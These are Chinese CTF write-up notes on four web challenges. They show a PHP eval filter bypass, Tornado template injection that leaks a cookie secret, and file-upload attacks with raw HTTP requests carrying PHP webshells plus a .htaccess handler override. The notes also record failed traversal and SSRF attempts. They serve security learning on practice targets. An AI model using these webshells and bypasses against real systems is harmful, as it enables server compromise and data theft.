[RoarCTF 2019]Easy Calc
进去后是个页面,输入计算式,计算结果,没见过类似的题目啊,f12,发现有个calu.php,访问得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
|
然后看别人的wp做
https://blog.csdn.net/vanarrow/article/details/107976892
https://www.cnblogs.com/echoDetected/p/13091486.html
当传入:
1 2 3 4 5 6 7 8 9 10
| num
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?");
|
在本地试了一下,确实是这样:
1 2 3 4 5 6 7
| <?php eval('echo'. phpinfo().';'); ?>
<?php eval('echo'.' phpinfo()'.';'); ?>
|
接下来总结别人的wp:
1.用” num”来绕过正则匹配;
2.var_dump函数来输出回显,用file_get_contents()来加载flag文件chr()函数来绕过非法字符;
1 2 3 4 5 6
| s='' s=s+input("enter you str,then i will give you them ascii:\n") o=0 for i in s: o=ord(i) print(o)
|
然后到做题:
查看根目录:
1 2 3 4
| /calc.php? num=var_dump(scandir(chr(47)))
回显: array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
|
读取flag:
1 2 3
| http://node5.buuoj.cn:28453/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
string(43) "flag{89404a0c-0948-4a18-9f87-40f1050cc23f} "
|
notice:
scandir( )
这是一个在C语言中用于扫描目录内容的函数,它允许开发者检索目录中的文件和子目录信息。这个函数在Linux系统编程中非常有用,尤其是当你需要处理文件系统或者进行目录操作时。
var_dump( ):
这是PHP的一个内置函数,用于输出变量的详细信息,包括类型和值。
file_get_contents( ):
这是PHP的一个内置函数,用于读取文件内容并返回为字符串。
chr( ):
这是PHP的一个内置函数,用于将ASCII码值转换为对应的字符。
[护网杯 2018]easy_tornado
模板注入题
没接触过,想直接去看wp了
https://blog.csdn.net/m0_73734159/article/details/134360691
很详细,
记一回tornado模板注入,虽然没做过两道模板注入的题
点开flag看到:
1 2 3 4
| /flag.txt flag in /fllllllllllllag
url:/file?filename=/flag.txt&filehash=02521e013bf12f2ed07267cbbb4476da
|
修改filehash:
/error?msg=Error
验证完后确定使用tornado模板注入(wp)
查看hint得到计算公式 md5(cookie_secret+md5(filename))
知道要拿到cookie_secret,
用handler.sttings查看环境变量
1
| {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '42b45411-b944-4058-a294-92333eecacef'}
|
计算hash值
md5(/fllllllllllllag)=3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret=42b45411-b944-4058-a294-92333eecacef
md5(md5(/fllllllllllllag)+cookie_secret)=baf2694028f23612a3c77cb63b9b9dd8
最后payload:
/file?filename=/fllllllllllllag&filehash=baf2694028f23612a3c77cb63b9b9dd8
[MRCTF2020]你传你🐎呢
这题的note写过了,本替换搞没了,这次就独立做过当温习吧
开局艾克和孙笑川,jpeg直接传也传不了,文件有1m限制,
题目一直不提示改上传什么类型的文件有点难受,
最后试出来mmie传 image/png 就行
直接传了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| POST /upload.php HTTP/1.1 Host: 4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81 Content-Length: 411 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Origin: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPX5AuupbBQqkGiE6 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/ Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=40c31c5302fc21595b5a1fb9e36ac7ff Connection: keep-alive
Content-Disposition: form-data; name="uploaded"; filename="php.png" Content-Type: image/png
<script language='php'>@eval($_POST[shell]);</script> <script language='php'>system('cat /flag');</script>
Content-Disposition: form-data; name="submit"
一键去世
Warning: mkdir(): File exists in /var/www/html/upload.php on line 23 /var/www/html/upload/c27817d096552162de80b210a4855ce1/php.png succesfully uploaded!
|
直接蚁剑访问访问不了,应该就是目录不会进行php解析的原因
利用.htaccess,上传.htaccess文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| POST /upload.php HTTP/1.1 Host: 4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81 Content-Length: 340 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Origin: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvBTzoKhzTjekoPjH Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/ Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=40c31c5302fc21595b5a1fb9e36ac7ff Connection: keep-alive
Content-Disposition: form-data; name="uploaded"; filename=".htaccess" Content-Type: image/png
SetHandler application/x-httpd-php
Content-Disposition: form-data; name="submit"
一键去世
Warning: mkdir(): File exists in /var/www/html/upload.php on line 23 /var/www/html/upload/c27817d096552162de80b210a4855ce1/.htaccess succesfully uploaded!
|
蚁剑访问
http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/upload/c27817d096552162de80b210a4855ce1/php.png
成功
.htaccess
漏洞详情:
https://blog.csdn.net/weixin_44032232/article/details/108998564
ACTF upload(未解出)
又跑去actf坐牢了😭,做不出来也把进度放这
先要注册用户来登录,试了admin账户,服务器不给
传正常图片
http://223.112.5.141:63478/upload?file_path=9db39573-994f-464f-b1fe-97c1e9897fb9_test.jpeg
访问正常回显图片
传马:
http://223.112.5.141:63478/upload?file_path=5ce41be5-7154-493f-b21b-84dd6a200111_php.php
不回显代码,回显:
1
| <img src="data:image/png;base64,PHNjcmlwdCBsYW5ndWFnZT0ncGhwJz5ldmFsKCRfR0VUWyJ6Il0pOzwvc2NyaXB0Pg==" alt="Uploaded Image">
|
是base64编码后的马
试一下直接上传base64:
1
| PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
|
不行
看一下d导的分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 关键分析 服务器处理逻辑:
上传的内容被包裹在 <img src="data:image/png;base64,..."> 中,说明服务器将文件内容强制转换为 Base64 图片。
但返回的 Base64 数据 (PHNjcmlwdCBsYW5ndWFnZT0ncGhwJz5ldmFsKCRfR0VUWyJ6Il0pOzwvc2NyaXB0Pg==) 解码后正是你上传的原始代码:
php <script language='php'>eval($_GET["z"]);</script> 这意味着服务器可能同时做了两件事:
将文件内容保存到磁盘(如 uploads/shell.php)。
生成一个包含该内容的 Base64 图片用于前端展示。
潜在漏洞点:
如果服务器保存了原始文件(如 .php),且文件名可控,可直接访问该文件执行代码。
如果服务器仅返回 Base64 图片但未保存原始文件,需另寻他法。
|
试一下对upload文件
1
| http://223.112.5.141:63478/upload?file_path=flag.txthttp://223.112.5.141:63478/upload?file_path=flag.txt
|
对upload试了一下目录穿越,不行,
伪协议
encode,无法读取文件,
decode,无法读取文件
注意到无论上传什么文件服务器默认当作imag/png文件处理
http://223.112.5.141:53908/upload?file_path=http://127.0.0.1/flag.txt
不行
放弃了,等wp